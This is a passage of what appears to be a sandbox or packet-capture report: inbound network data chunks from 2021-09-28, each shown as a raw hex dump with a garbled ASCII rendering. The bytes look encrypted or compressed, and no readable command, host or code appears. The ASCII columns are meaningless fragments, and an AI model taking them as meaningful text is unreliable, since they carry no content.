2021-09-28 07:53:18 UTC	198	IN	Data Raw: c9 d7 51 6c 42 cc d1 d2 f5 f8 bf 58 b2 0f 75 ff f0 f0 c1 00 ad 15 f7 82 a2 29 fd fe 6f 8a 05 84 c3 62 15 40 75 1e f8 72 c9 b4 a9 d8 5c 49 5b 79 ae 86 7b ad fd cf cc c7 8d 4e 17 b0 3a a4 3c 86 74 5e ce 92 7e e2 b9 31 f7 b9 b0 fd 65 21 22 01 8d 6c 82 98 cb 0c a7 37 19 89 a9 84 95 48 72 26 49 f7 01 42 d7 01 b7 d7 60 fe 26 b1 29 b9 3e a3 18 ae 48 d5 53 de e0 9b 07 74 fd 0b d8 b5 02 78 2a 2b 82 06 cc 0a 67 9f f4 3f 12 49 37 4b e5 66 38 f6 62 c0 c3 22 18 c3 3b 03 59 63 0e be 50 25 1b ac 43 ed 70 32 02 0f 8e d7 08 a6 01 49 b6 5c 63 42 f8 f7 92 9a a0 3a cb 60 bb fa b3 bd 03 51 51 fe 5a f3 a3 e2 d8 96 c6 21 7a 86 a0 4a 7c e6 23 ca 3f 3b 2a 28 a7 cd 8f cc 19 4b 5b 03 bf 3d 2b aa f4 28 fc 00 84 b5 81 10 4b 62 c6 fb 8d 47 03 e6 83 dd ae 45 d4 85 cf b5 7f 3d 99 dc c7 Data Ascii: QlBXu)ob@ur\I[y{N:<t^~1e!"l7Hr&IB`&)>HStx+g?I7Kf8b";YcP%Cp2I\cB:`QQZ!zJ\|#?;(K[=+(KbGE=
2021-09-28 07:53:18 UTC	202	IN	Data Raw: 79 68 f5 6f 20 e9 f8 d5 d6 34 fb e5 29 92 eb 07 5b ed e5 8b 03 bc 95 87 a3 8c ce 0a 07 fa 65 e1 08 a6 f3 f5 b1 00 5f 2a 9e 3a 54 71 6b b7 62 e2 d1 79 ae d7 4c cf fb d6 8f 3a c8 40 4c ec 2c 5d 49 69 be 5e 12 cd 62 fb d8 ed cf 4d 76 4f 69 55 eb 10 3c 11 50 3c 4c 17 c6 e4 f9 59 28 e1 e9 67 de 6d 28 7a be b6 24 e0 69 de 60 5c fa db 70 42 a6 dd 24 92 7f bf 6e d7 c9 04 8c 7e 6f a6 c0 49 22 06 2b 3d 0c 42 65 c3 25 89 10 47 3e 98 aa 4d 7b ed 23 e8 9a 6b ef 83 3b f8 21 06 ee 84 8c f8 b3 fc 21 a2 a5 b9 ea bf af 77 e4 bb 6b 65 a5 a2 cc 93 a9 b0 52 e6 14 5f cf b2 78 8d 29 f0 d5 b8 4b 59 6d 63 19 15 45 ac 1b 85 16 a9 7e 44 c4 3a 3b 9e 14 ba b2 96 f7 5b e8 8c 9a fe 34 ac 04 a2 58 1e a4 79 d6 38 99 3d 5a c7 1c 23 68 42 be c4 2f d7 5a 11 60 b4 f7 a6 04 82 1d eb 44 5e 78 Data Ascii: yho 4)[e_*:TqkbyL:@L,]Ii^bMvOiU<P<LY(gm(z$i`\pB$n~oI"+=Be%G>M{#k;!!wkeR_x)KYmcE~D:;[4Xy8=Z#hB/Z`D^x
2021-09-28 07:53:18 UTC	206	IN	Data Raw: bc 32 cc ff fc e9 ef 8d 42 28 62 d1 bb 8e 05 2a 49 27 60 2a f0 c2 3b 79 c7 b4 51 fa d0 39 35 ed 39 ca 7a dc da 0b cb 84 2d bf ed f3 4e d8 9a bb f9 8a 86 db 67 5e b5 f7 69 27 41 84 8c a5 5f 5e 76 b4 d8 51 4d a3 12 3f ec 6e ce 11 b4 6d 2b 6f 92 fa 44 88 05 cd 07 a3 27 a7 24 26 7b ea c2 88 98 7d ff 03 3b 72 cc 14 67 be 3b d4 8c 25 2b 08 19 52 2a fa 50 23 e6 3a 47 7f 82 2d e6 76 cb 05 33 8d d1 a3 08 33 1c 5f d2 62 de 69 32 01 ab 6e c5 8d ac 74 21 15 18 81 8c 88 6b 7e 48 1d 41 60 cf 9f 2c f6 64 45 68 48 6e f6 a8 4b 3b b3 ad 9b 8c 0c 1c c9 a3 37 64 f1 2c a1 5f ff 10 44 5e f6 34 ef 7e ca e4 27 ec 70 7b d9 86 ff 22 74 d6 3b 46 9c 35 dc e2 c1 c6 58 e3 19 7c dd 09 1d 47 41 c2 49 78 ef 39 44 4a cf 35 b8 81 90 e7 08 2f 07 20 53 2f 24 54 df 1a 5f 5f 5a c5 98 6a 96 c5 Data Ascii: 2B(bI'`;yQ959z-Ng^i'A_^vQM?nm+oD'$&{};rg;%+R*P#:G-v33_bi2nt!k~HA`,dEhHnK;7d,_D^4~'p{"t;F5X\|GAIx9DJ5/ S/$T__Zj
2021-09-28 07:53:18 UTC	210	IN	Data Raw: e6 bf 86 82 21 fc bf 61 41 97 99 81 eb 85 97 b4 f1 b6 1d 0b dc 9e 4a 3e 38 86 8f cd 4f 41 41 91 a6 87 ac 9a c2 2f f0 9a ae a2 df 71 04 3c 9f 3d 7f ae e6 95 ea 5f 9c 6c 28 85 9c e6 7e c6 bf b8 f4 67 db 1d 4e 68 4a 60 24 e9 43 ba 0f 35 29 a2 73 7c 4d f0 e6 9e 09 46 62 53 f3 d6 5c fa f1 35 3a 6a 1c 43 b9 0c 6f 0c 7b c4 8c d9 4e f0 bf fd df 9e 7f 21 75 c5 f3 03 b6 84 b9 be bc d9 0c a2 8e f1 75 3a 2d db 21 f5 80 64 4f 3a 36 f5 b3 c7 7e f6 f0 a1 36 47 c3 e6 71 4b 3c ac 1c e1 e3 b5 cf 0d d4 26 1c 19 92 00 b9 22 30 87 d9 2f ed d0 64 e6 d1 1c 4f a1 53 06 d9 ec b0 b6 9d 7e b5 c2 6f 21 09 6a 63 ff af bd 7b d3 9c 98 70 cd db 49 d4 29 b6 2a 71 ab 24 4d 47 ed df 32 7a a1 a8 86 49 3e 2b c4 ec 1d 92 a3 88 01 59 80 b9 a7 85 64 c7 d8 99 e4 97 4a 8e 03 ef f6 fa 3a 50 ab 85 Data Ascii: !aAJ>8OAA/q<=_l(~gNhJ`$C5)s\|MFbS\5:jCo{N!uu:-!dO:6~6GqK<&"0/dOS~o!jc{pI)*q$MG2zI>+YdJ:P
2021-09-28 07:53:18 UTC	214	IN	Data Raw: ed 70 a5 4a 81 10 ca 02 e6 bb 7e ff 76 76 e3 fe 17 f8 7f 1f 46 bc a4 c5 c9 d2 67 cb d7 25 f1 d7 a5 28 3b f2 67 fc 70 4a c9 2b 07 2a 8f 45 00 41 da 65 d8 e7 bb ee db 2e fc b4 fa 1b 7f 03 ba 13 93 be 22 2d bd 65 d2 52 1c 76 b2 b9 38 6e c9 e6 ea 4f 57 08 b4 9e a0 3d f1 33 81 cc 54 91 de f7 35 9d 87 b7 bb b8 6f 4b 35 f2 ec 62 2b 58 fc c3 9f 5e 49 6b 17 cf da c4 3d 17 97 7a e4 86 2e 7d ba be 75 f4 c1 aa 48 24 c7 0a 82 89 7d dc 08 2b a2 54 f5 99 0c 5a 64 0b 71 69 1b e0 35 1c e5 46 cb a4 9e 01 5b 96 1f 7e 10 2c 62 06 7a 8a 9f 8a 9e 93 2c 70 7c 03 c2 33 85 90 39 8f 17 73 42 5c 9d d7 bb 03 ee 0d 29 0f 92 c6 36 ae 45 cc 29 04 3e d3 85 f3 e3 f3 05 26 f6 43 32 5e eb 7a 92 32 50 8c e5 85 d3 8d 99 87 bd bb e5 00 3b d3 16 d9 11 97 c5 38 ce a5 56 de 01 b1 51 39 56 89 01 Data Ascii: pJ~vvFg%(;gpJ+*EAe."-eRv8nOW=3T5oK5b+X^Ik=z.}uH$}+TZdqi5F[~,bz,p\|39sB\)6E)>&C2^z2P;8VQ9V
2021-09-28 07:53:18 UTC	218	IN	Data Raw: 9d 86 1c 26 66 52 0a c7 94 9e 42 4e 1b 9e 69 37 22 66 c0 68 23 73 97 ce 1f 7b 60 aa 6b 8e 4e 0e ce d8 93 97 1a a0 fc 2d 32 84 78 da d4 b4 55 95 ef 87 0c dc 7d 13 16 ff fc 1a e4 db 92 69 82 f4 20 7d b2 70 15 b2 e7 7b c6 3c 25 23 84 bf c0 5a be 68 91 7e 6f 93 e2 60 87 0e 98 f6 13 dd 40 dc 4d 30 82 40 50 c9 40 18 af 20 d3 98 06 a7 e6 3b 1f c4 fe a2 2f 35 37 1a a1 01 e9 e9 b3 cc 4d b1 ab a3 d2 ee 76 0f 98 f6 aa 32 52 a3 e7 33 ae b8 fb 91 92 4e 80 6b 5c d1 8b 30 95 ea 7a 0d d8 43 02 c3 4c 57 0e 92 46 cd 07 cd 58 b2 4e 46 41 f1 8a 74 d4 9c d4 1d 8b 12 67 bb 16 97 38 2c 05 39 03 7c 95 5e c1 66 1a 20 92 c2 58 6b 58 8a 9d 97 6d 39 47 6f aa ff 3c 44 76 2e d2 39 6b 46 7e b1 75 ec 04 07 75 95 a9 c5 2a 9a 90 6e 9c a7 bc 77 10 88 2b bc 3d ac 2d fd 56 f8 0c 26 44 91 be Data Ascii: &fRBNi7"fh#s{`kN-2xU}i }p{<%#Zh~o`@M0@P@ ;/57Mv2R3Nk\0zCLWFXNFAtg8,9\|^f XkXm9Go<Dv.9kF~uu*nw+=-V&D
2021-09-28 07:53:18 UTC	222	IN	Data Raw: da 67 46 88 55 dd f8 6a 84 96 6e 53 71 90 eb 55 84 b3 6a 25 57 cd 85 9a 11 25 2c 5f 54 e6 65 33 01 5e 93 01 bf 70 69 bc 90 c1 93 af 53 bc a2 88 eb 68 4d 2b 14 91 36 f4 7f 23 5e a1 fb 5a 59 c1 5a e2 6f f0 42 ba 55 20 ee 26 63 77 f3 2c f1 28 de ba bf 40 ba de 0d a2 d2 60 29 32 8a 1a 78 90 68 d4 ef 68 f0 71 f9 47 4d db b5 d9 1d da 98 6e 29 7a 88 e6 8b c4 be 13 3c c8 6f ef aa 11 c7 7b c6 8d 53 e8 85 db b8 c4 7b 1b 5b a0 28 7b 97 4b 51 26 14 dd 3b c7 b8 d4 ab 13 af 13 03 90 52 af e6 6a d4 bc 0d e1 f7 87 63 e5 c7 cf 96 88 0b b9 29 9d 0b 55 91 5d a2 3d ed 31 1a 7a 88 8c 5c 6a dd 7b 87 27 02 ad 5d 41 a7 ea 3f a9 0c f9 c0 61 44 f7 52 69 e8 d3 4b de 41 5b 2a 73 87 fb 59 43 70 cf 1e 7c 73 b1 eb 74 b7 1c 6b 37 a7 e8 61 ec 3b 96 0e 74 91 78 3f aa 62 48 5e ba cc 84 95 Data Ascii: gFUjnSqUj%W%,_Te3^piShM+6#^ZYZoBU &cw,(@`)2xhhqGMn)z<o{S{[({KQ&;Rjc)U]=1z\j{']A?aDRiKA[*sYCp\|stk7a;tx?bH^
2021-09-28 07:53:18 UTC	226	IN	Data Raw: b2 e6 ca 9f a2 8d c8 e9 71 cd 00 33 05 22 5a fe 38 53 60 8b 72 0e 3e 46 ed bc e6 d9 5b eb 4d 89 71 79 da 5b 23 3f 32 76 10 8a 50 c6 54 68 ea 79 6c 38 62 60 d3 ee d6 0c 86 a3 98 c0 ff 94 8d dc 32 05 59 df 70 8b 8c 61 18 ba c5 7b bf e6 af 5e 17 ba e9 79 72 21 fb 73 15 e2 17 46 e4 ae e9 d6 67 59 6d 41 a6 9e 8c 30 00 b7 36 98 be a4 80 fa bb f2 d9 b6 a3 92 9e 4a 99 fc 8d b7 13 27 c0 43 f9 eb 94 e0 57 aa 94 13 6c 43 5a 11 ca 6c a3 60 22 8d 21 fc 3f a1 84 6f 3d 9e 1b 21 37 45 e9 e6 66 97 40 b7 3f 33 55 f1 18 55 fa c2 cf 04 dd 16 82 e6 68 cd 4b be e0 65 d8 31 1d 1d 34 50 ed 64 a2 61 6e c6 d6 60 03 d1 49 f9 5d f0 bc df 93 5f 5a b1 ee 94 ad 36 32 b4 24 b3 dd 1c 87 fb 52 13 0d e7 97 7b aa ef a3 6c c6 2a 08 c1 52 b2 b5 c8 7a 80 2a a1 6d 63 63 2b 21 59 77 61 0b 71 f9 Data Ascii: q3"Z8S`r>F[Mqy[#?2vPThyl8b`2Ypa{^yr!sFgYmA06J'CWlCZl`"!?o=!7Ef@?3UUhKe14Pdan`I]_Z62$R{lRzmcc+!Ywaq
2021-09-28 07:53:18 UTC	230	IN	Data Raw: 78 1a 14 b7 33 b5 2a 90 2a bd 20 82 24 91 a5 8d 52 75 96 00 15 39 74 47 fa 95 61 04 cb e0 24 37 45 68 86 50 c6 2b 2d 04 17 44 10 ff 2c 67 76 6a 5d e9 e8 bb 75 d6 01 8c da 37 ca 31 b2 da d2 f4 8d 62 d1 25 f5 da 10 7a 4f 62 40 81 8e 68 33 35 fa 06 8f dd ad b6 96 be b6 38 cf 55 8c 4d 05 fd a4 41 ef 1d 39 9b 19 2b 63 10 33 48 0b d0 16 c8 6b 2c 46 71 02 8c 9a 3d bc 26 d4 d6 76 07 6f 2c 8c d4 e4 35 c3 0d 6d c1 6c d3 f7 4c 2d d2 34 98 b0 7f 22 b0 95 72 46 40 56 dd c6 89 50 c6 28 d2 26 cf 6b 6b 34 0b 85 13 54 78 02 b9 60 96 31 41 7b 8a 90 1c 64 d5 25 b3 28 60 c6 e1 3a 4e 20 98 e0 b6 7a 7f 73 a5 5e 50 13 20 93 e8 ba b9 f8 f5 ee d7 4d dd 82 95 7c ac 10 70 c1 8f f1 8c de ba 27 8d d2 dd b1 5c 32 cf 03 0d dd 52 e6 86 54 9c 35 a2 18 61 75 b2 e8 88 fb 0b 8e 12 62 8b 84 Data Ascii: x3** $Ru9tGa$7EhP+-D,gvj]u71b%zOb@h358UMA9+c3Hk,Fq=&vo,5mlL-4"rF@VP(&kk4Tx`1A{d%(`:N zs^P M\|p'\2RT5aub
2021-09-28 07:53:18 UTC	234	IN	Data Raw: cd 98 12 1c 8a cc f0 5e 5b 16 6d d4 0d 90 43 d0 07 28 05 65 20 33 d8 8b 0c 41 07 36 61 2e b5 20 28 11 47 eb 46 c8 92 a0 12 bc 5f 5f fc e4 96 a3 91 17 85 48 e2 72 78 cf 03 e5 9b 49 30 7e 2b 72 93 ad e4 58 49 8c d4 99 f5 e9 ea 49 40 06 12 bb 71 67 45 42 4c f8 be 48 17 53 92 55 34 60 05 72 98 b7 e1 e3 d9 46 d0 51 7d 4d 5b 0e 8b 1a 96 89 5a df d0 30 89 79 ef 65 26 22 31 cc 5f e9 00 10 f2 3d 2b aa 8f 6f 18 aa d1 82 c5 19 e3 d2 29 3b e1 9e ff 09 b5 ab 4c 3c 2d 6b 12 5f ae 95 1a 6c 5b bc ed b1 3b 95 a4 a9 cb 75 95 d2 13 70 3a a2 5d 4d 9f 96 20 ad 58 c5 f9 b8 c8 ff 40 5d e8 05 ea 4d f6 b4 27 23 44 4b 31 46 e0 42 34 4c 38 a0 7c a2 dc 5f 5a a1 8b 6f 84 b4 36 c5 fa 87 68 6d 88 5d 9e 6c cf b9 25 8c 58 bc 59 66 73 13 1e 10 96 53 83 2b ea 8d 13 9b bc 6e 04 17 41 d5 c7 Data Ascii: ^[mC(e 3A6a. (GF__HrxI0~+rXII@qgEBLHSU4`rFQ}M[Z0ye&"1_=+o);L<-k_l[;up:]M X@]M'#DK1FB4L8\|_Zo6hm]l%XYfsS+nA
2021-09-28 07:53:18 UTC	238	IN	Data Raw: 3a 56 b5 1f ba 01 73 9a cb 16 55 1d 4d ab a3 7e 48 72 2c 24 61 63 b9 08 23 ec 5a ff f1 6c dd 70 7e f1 27 87 35 b5 8f e7 ac 73 0d a0 0b 4e 26 47 77 dc 58 8f 59 6e 6c e0 b8 be a4 ac ad 08 14 b7 30 77 fa 18 23 11 ba fa 42 26 7e 39 29 6a 53 3e 23 c2 48 36 27 c2 2e 3d 22 14 d0 a1 bb 05 1f 2a c9 42 fb 5e 54 c0 a5 b1 a2 62 d2 4c fc 07 91 97 f5 86 9e 7a f1 1c 42 e4 08 52 e4 57 c9 78 62 12 37 0d 34 c2 3c 19 2c d2 c4 a3 27 6c 5f 4b 5d 01 cc 7c 3b 3c 30 61 1d 43 1d b7 64 ca df 81 32 2f a0 55 da 97 39 82 1f 69 cd b4 a9 3b eb 5f 21 1f 0d ca 50 27 a9 d8 6d 3f 3e 9d e1 6b 37 69 30 7a bf 7a d2 93 ff bb 91 31 32 95 47 05 96 17 aa 73 06 fb 1e 6a bb d0 03 9d 35 bb 91 d4 25 42 3a fb 42 19 d0 f5 34 f4 06 a9 62 30 ad 8e a2 15 72 ad 25 14 02 42 0d de 0b c2 c9 ab 1a 6f cb a7 30 Data Ascii: :VsUM~Hr,$ac#Zlp~'5sN&GwXYnl0w#B&~9)jS>#H6'.="*B^TbLzBRWxb74<,'l_K]\|;<0aCd2/U9i;_!P'm?>k7i0zz12Gsj5%B:B4b0r%Bo0
2021-09-28 07:53:18 UTC	242	IN	Data Raw: 5e 07 da b1 60 b4 bb 6c a0 d3 ae 0c 9d 34 95 86 42 3d 91 2c 52 0f 57 3f 7a a2 12 dd 56 d9 c6 09 a3 fc d0 47 79 18 cd ca 04 90 3c e0 16 2a 56 cc e5 0c 2f 71 2c a2 84 8b ac 60 3b 43 94 2c 13 55 de b3 d9 e2 fd 22 9a 3a f2 5f 5a 80 2a ee 87 57 98 00 7a 34 07 f2 2e 35 cb b7 8d 74 2b 66 d9 47 0e bb 57 38 2c 28 93 1d 63 99 a8 c1 cc 2d 6a 64 52 f7 cf 82 cc 90 99 ac 21 a9 e7 71 6c 42 80 a0 1e 0f 2b 4a b7 d5 fc 47 56 03 2f f0 07 20 e4 53 e7 6b 15 2d 0f 8c 2b 12 6e 47 7c 05 90 b4 39 65 8f e3 cf 34 5c 7a 08 c9 b8 61 f6 2d 99 21 01 e9 fe e3 d1 a0 21 ef 89 3f 3d f3 57 b0 56 d5 16 99 3a 61 61 07 92 d9 df f1 77 07 69 01 e6 f9 21 6f df 50 79 01 0c 02 ee 8d a4 b4 f8 f9 9f eb 63 3f 70 2f 81 1e f7 40 e2 81 a7 47 8a c5 5f 4d a6 4d 83 0c b4 d7 f1 ff 5d 16 de 67 3c 39 83 5f a8 Data Ascii: ^`l4B=,RW?zVGy<V/q,`;C,U":_ZWz4.5t+fGW8,(c-jdR!qlB+JGV/ Sk-+nG\|9e4\za-!!?=WV:aawi!oPyc?p/@G_MM]g<9_
2021-09-28 07:53:18 UTC	246	IN	Data Raw: fd 90 d2 f9 87 f8 d8 d7 f3 fc cb 80 bd 0d 99 1d 87 cd cc 69 b5 9c c9 a5 e2 86 00 0e c1 77 81 dc db b3 c0 bc 0c cc c9 32 49 2a c7 b7 13 4a d5 2b 33 2b f5 42 e2 90 23 4c 6c 0f 94 6d 5b 43 e7 cc f0 88 6d 6e b3 fc a5 86 d2 c9 69 c6 c8 a0 3c 09 2c 03 db 73 78 03 ed ff 71 78 42 84 27 41 58 a7 35 a3 60 eb 65 49 14 6f b5 e6 89 02 6a cd 9b 63 22 67 91 2f dc 98 a9 ab 6d d5 8f 53 7e 2c 68 df cc cd f9 df d5 57 e8 75 1c 45 11 35 64 e4 1c 5a ee 57 42 97 eb 78 a8 0e 76 0a 29 8e ae 8c 4f 60 f8 cc 40 65 71 98 e9 47 4b 35 49 4c a1 c4 d2 6f 71 f5 b3 44 34 6f bb c6 a4 9e 0d 2a 3b 7e 03 3c c4 79 07 60 be 0e 7d 18 66 7c c7 03 8a 38 a4 fd f3 58 37 7a 70 8a b8 57 60 53 ed 9f ef 97 5e 0b 9d ee 2f 69 83 4c 1c f0 15 94 ec 4a e6 db 13 18 90 a1 b3 68 14 a7 24 ee 3e 37 a0 33 08 c8 de Data Ascii: iw2IJ+3+B#Llm[Cmni<,sxqxB'AX5`eIojc"g/mS~,hWuE5dZWBxv)O`@eqGK5ILoqD4o;~<y`}f\|8X7zpW`S^/iLJh$>73
2021-09-28 07:53:18 UTC	250	IN	Data Raw: 0b b3 aa 96 ed 38 4c ca f7 fe 2b 66 d1 a6 90 3c ed 5e 31 48 8c 7b 49 58 af 28 34 03 47 ae f4 46 2d 94 ac 5b b9 2d 22 f2 78 31 fa 0d 57 25 c9 e2 ec 88 0a f9 4d 26 2f 6a 73 ce e7 ad b5 04 10 0a 4e 5d 88 06 7a ae 38 e1 f7 6e 86 af ec 1f d6 a6 7c 68 67 a2 b8 9b ea ba 98 47 88 d4 01 9e 78 9c fd 8d ad d2 ce ea 7a 75 21 5f 9b dc f8 92 46 7b 5f dc aa 35 c4 94 df d2 da e8 63 be 0b 57 89 8f fc 15 e6 54 85 19 4e 83 c0 06 c9 ad aa 08 f3 3e 74 5d dd 5a f0 4f 26 b3 62 b2 c3 f9 5f 12 e4 00 25 60 9e 08 7d b1 15 35 30 8d 5a 3f e8 ea da 29 f5 7e 4e 64 26 13 89 b7 c5 d1 c9 69 24 4d 98 f5 fe 26 dd 3b 33 29 96 ec 60 d7 53 33 06 67 38 24 44 23 a7 16 83 fd 9a 4b 64 a0 f4 c1 3f 68 11 15 c8 0f 9e e9 00 c1 1b 86 5d 0a 1b a2 8e dc 69 0b a6 38 eb 2f 01 5a d5 e6 01 a3 6b 60 59 a5 46 Data Ascii: 8L+f<^1H{IX(4GF-[-"x1W%M&/jsN]z8n\|hgGxzu!_F{_5cWTN>t]ZO&b_%`}50Z?)~Nd&i$M&;3)`S3g8$D#Kd?h]i8/Zk`YF
2021-09-28 07:53:18 UTC	254	IN	Data Raw: e2 10 93 81 91 c8 70 80 f9 ae 00 96 fa 3b a8 76 b1 62 87 72 61 5c d5 46 7f 20 30 ae 68 c2 ef 15 c7 9a 45 6a 3c ac fa 14 d4 0e 78 2d 0c 1c 9d 95 f5 49 f2 42 c7 8c db 74 72 4a 27 02 62 08 1e 64 23 0a 60 b1 19 25 20 a1 1a 99 dd 15 5a c3 87 4d 9f 7f d4 c9 cb 55 d1 2d 4a 40 1f a1 26 d1 28 00 43 79 72 f9 95 53 38 f2 79 c9 20 b8 5a 00 d2 31 f7 07 08 74 2f 1d ec 17 46 20 4e e7 06 a0 a8 dd aa 57 55 b9 ea 9a ef e8 9b 13 23 e9 90 51 af a5 9b 6a 77 d2 ee d4 26 0d df 61 af 3b 67 51 1e 9a bb 74 4e c2 3a 65 c7 de 6a 98 99 7e 70 71 fb 34 5f 11 fc cf 5f 4d 53 cf c7 11 f9 c4 b5 01 82 af 40 f1 cf 3d d6 64 a2 c7 12 d4 d6 88 b6 96 96 02 0c 8d 13 5b 6f 24 d4 62 76 4a 7c b2 b1 f9 fb 6e c9 0a e5 8c f8 69 17 51 74 a7 fc de b8 4e 5c 6e 98 68 65 be c6 b7 df c1 bb 11 43 b4 e8 f7 91 Data Ascii: p;vbra\F 0hEj<x-IBtrJ'bd#`% ZMU-J@&(CyrS8y Z1t/F NWU#Qjw&a;gQtN:ej~pq4__MS@=d[o$bvJ\|niQtN\nheC
2021-09-28 07:53:18 UTC	258	IN	Data Raw: 75 4a bf bb 46 24 94 b9 dc ce 18 c1 1a 95 1d 89 cd 0b 3c 4d 09 8d 22 f5 40 fb dd be 86 44 03 ef 59 54 fe 09 4c cf 14 89 f2 2f 59 05 c7 fd 61 cd 7b 55 12 48 1f 9d ca 69 2d 74 b5 d6 f0 e7 66 a3 6e 71 23 93 06 b9 e1 f9 89 b8 26 03 fa 81 ff 25 dd 98 ab 88 fb a8 df 76 6d 89 29 17 f7 c3 08 e4 31 78 9b e0 85 64 27 3d fa f3 3e f8 00 ff 1c 1b bb 15 f9 8f c4 b4 25 a4 24 f8 c4 02 f9 fd 6d 95 0f e4 66 35 d5 5d ae 33 3d 40 88 8a 4f dd af 4a c5 b7 6a 35 67 b6 86 82 c6 5e 27 d5 cd a8 a6 ed e6 7a 31 2d bc 94 4a a7 9b e8 f8 14 95 5b ce f4 cc 4b 1a 39 9c 3f 84 64 9a 51 cd 22 3c 01 3d 01 72 c8 04 f5 65 f2 44 a5 33 80 d0 86 43 ff aa 76 30 3c 9d 34 82 b0 1d d6 91 dc bd 08 23 5e 02 d5 e7 b7 8b 49 98 cb 7d 35 52 d4 6c 8e 6d ff 99 8b 6b d4 c3 93 05 ae a5 39 1f 7c a4 fa 62 2c 2c Data Ascii: uJF$<M"@DYTL/Ya{UHi-tfnq#&%vm)1xd'=>%$mf5]3=@OJj5g^'z1-J[K9?dQ"<=reD3Cv0<4#^I}5Rlmk9\|b,,
2021-09-28 07:53:18 UTC	262	IN	Data Raw: 8a 41 64 ec 77 d2 0d 4b e3 ba 9e ad 73 16 05 cc c7 de a1 59 7f e5 51 8e 46 97 e7 50 6c 41 71 6e 54 ff 3d df b7 21 2d fc 88 d1 65 94 4d 7c a4 25 50 25 b0 3c 46 3f 2d 6b 01 68 24 70 1e 48 5c 9a f7 23 c1 86 3d ae ba 5a 15 87 9b 99 dc c9 2f fc a4 85 54 ec ac 33 c8 8e fc 73 59 0b 44 de 0f 38 8e 39 95 f2 7f a9 4b 72 e0 3f 76 df b2 12 49 04 74 f2 5f 74 c4 0b f7 df 33 84 11 c7 b1 9a 32 bc 02 ee 6e 3c e2 52 13 c4 48 d7 6a 65 fd fb a7 ac 81 d2 b1 1c 3a f8 8b 6d 04 4c d6 40 c1 89 26 e6 4e bd 78 84 c8 51 14 2c bd 02 de b9 48 87 32 fe 39 90 4d 3d 1f de e7 29 2a c4 e1 dc d0 e4 46 f7 05 37 37 d8 e2 16 ba 0f c7 e2 f3 48 7b e6 26 c1 e9 58 51 e7 23 dd 0c 0f 0a 8f 0f e6 bb 3f 1c f8 d6 59 29 b9 5c 92 70 29 47 c2 c9 3f 53 29 f1 6d 55 47 e3 2e 28 31 bf 2c 83 88 e5 d7 0e a0 34 Data Ascii: AdwKsYQFPlAqnT=!-eM\|%P%<F?-kh$pH\#=Z/T3sYD89Kr?vIt_t32n<RHje:mL@&NxQ,H29M=)*F77H{&XQ#?Y)\p)G?S)mUG.(1,4
2021-09-28 07:53:18 UTC	266	IN	Data Raw: c9 bb 33 53 67 9c 1c 0b 13 c0 e2 76 6f c2 2d 84 7b 25 2b a4 ce 77 b7 5f bc d6 c7 1b 89 da e9 5d 10 ec 9a 0c 01 2c e8 96 f7 0b 4f ac b9 eb cf fc 0f 5b 82 4a cf fb ae 6f 17 2e 3f 38 fd 22 3e ac 09 d2 f8 62 24 d2 71 45 55 0a 28 ac 03 c5 17 40 08 0b f2 12 f6 2f 48 fe 00 e6 b6 6f 04 ea 94 25 ca be 4b c3 04 a3 fe 6f a5 df 62 26 4f 97 c0 34 aa 01 53 41 aa c2 ce eb 98 1c af 36 0b f8 f7 96 40 83 c2 cf a4 a1 e3 16 79 c3 41 2d 0c 71 ec 94 cd d0 24 23 17 05 bd bd 18 c5 21 b2 d2 3c 19 21 77 f5 b3 34 6a e0 9b 73 6c 2f 83 92 0d 60 9f 42 8c 6f 79 72 4f 18 e4 83 9f 9f 18 b2 4d 5e b3 1f 17 40 9e 05 79 53 4d 14 0e d9 60 5c 69 c0 a2 5c d3 75 a9 b9 b8 61 b5 66 b6 81 61 01 8a b0 9a fa 41 81 d2 07 cc 35 16 12 52 d7 09 dc b2 66 57 bc 45 b8 77 41 05 f8 e9 46 71 39 dd e9 f1 5d fe Data Ascii: 3Sgvo-{%+w_],O[Jo.?8">b$qEU(@/Ho%Kob&O4SA6@yA-q$#!<!w4jsl/`BoyrOM^@ySM`\i\uafaA5RfWEwAFq9]
2021-09-28 07:53:18 UTC	270	IN	Data Raw: da 23 19 2c b7 23 f1 97 e6 15 40 b5 92 cb 2a 99 7f 50 4a 4c e6 f8 e6 d6 d5 88 6f 88 04 e2 33 34 af bd c3 d0 84 d6 f7 a3 3a 0b 50 65 18 e6 1b ca 7a 34 5d 6a 97 05 8b 93 71 2b 77 65 d4 0a 80 49 f4 90 35 21 ff 8d ae 5d 64 ea ef f7 bc fc dd 80 ef 0f 2b eb db bf 68 da b5 ea 97 b0 7d 9c b7 06 2d b3 e5 5e 21 6e 16 fb bc 29 cd d6 b0 23 65 9f 1a e8 18 1e 53 a0 41 eb 08 d4 0c bf d3 e5 6f b2 2c 59 b1 c6 c4 37 30 3b 5c c3 aa 01 43 a6 d3 4e 74 d9 97 3b c9 79 93 2e a6 2e 2c 00 3e 62 80 c8 1b 9f a6 f6 b1 7b 77 9b e8 ed d3 ea 2a 1f a1 c8 19 6b cf 5a ba 02 0e 3f 2a 3c d8 7d 0a 0f bd 3b d5 5e b3 e1 47 0c 35 87 9c e5 21 d4 f6 b6 b9 d3 6c 37 66 1f 42 80 96 b8 e2 c4 9a 1c db ef 33 a3 0f 56 a5 32 47 1d 56 2c 56 bd ed c4 43 1c c9 a8 7b 5c 9d 5f 23 10 d6 a7 d8 f4 15 8e 4f 12 3d Data Ascii: #,#@PJLo34:Pez4]jq+weI5!]d+h}-^!n)#eSAo,Y70;\CNt;y..,>b{wkZ?*<};^G5!l7fB3V2GV,VC{\_#O=
2021-09-28 07:53:18 UTC	274	IN	Data Raw: 3b 8b 51 80 19 af 58 5a 85 4c c8 46 5b 4f cd 45 97 fa 79 a4 f1 83 d6 d7 fe e9 ed 94 6d d9 84 d4 c9 cc ef e8 0f df 7a c3 fb f4 b4 53 37 03 65 7f b6 6a 8b 00 db 25 0f e8 8a d8 34 a4 3a a4 57 3f 3f f6 3b e0 22 82 21 7b 1f 0d 9b a2 46 67 b0 11 d0 99 09 65 78 50 b4 5a 76 77 ad 0c ab 35 a3 78 39 c4 b6 27 fc 1f 6b c0 c8 5f ec 90 91 b9 c5 a8 53 16 dc 3d 0b 92 c4 a6 69 c8 13 f2 49 46 ad c1 90 d5 52 85 02 bf c2 7d d3 10 10 44 54 ac fc 21 e5 7a 6c 3d d7 38 53 cc c6 e3 40 fd fb ae f3 d9 0c 3d 43 c2 51 42 2b ce e8 3e b9 dd 4e b4 c8 55 fb 7d c9 48 67 34 1a eb f6 09 ac 80 8a 30 bd 17 ed 0a b4 62 4c 6d 35 56 1b ba 77 40 e3 34 61 80 e2 01 09 a2 4f be f6 29 24 00 9d 31 28 2b 62 9a 87 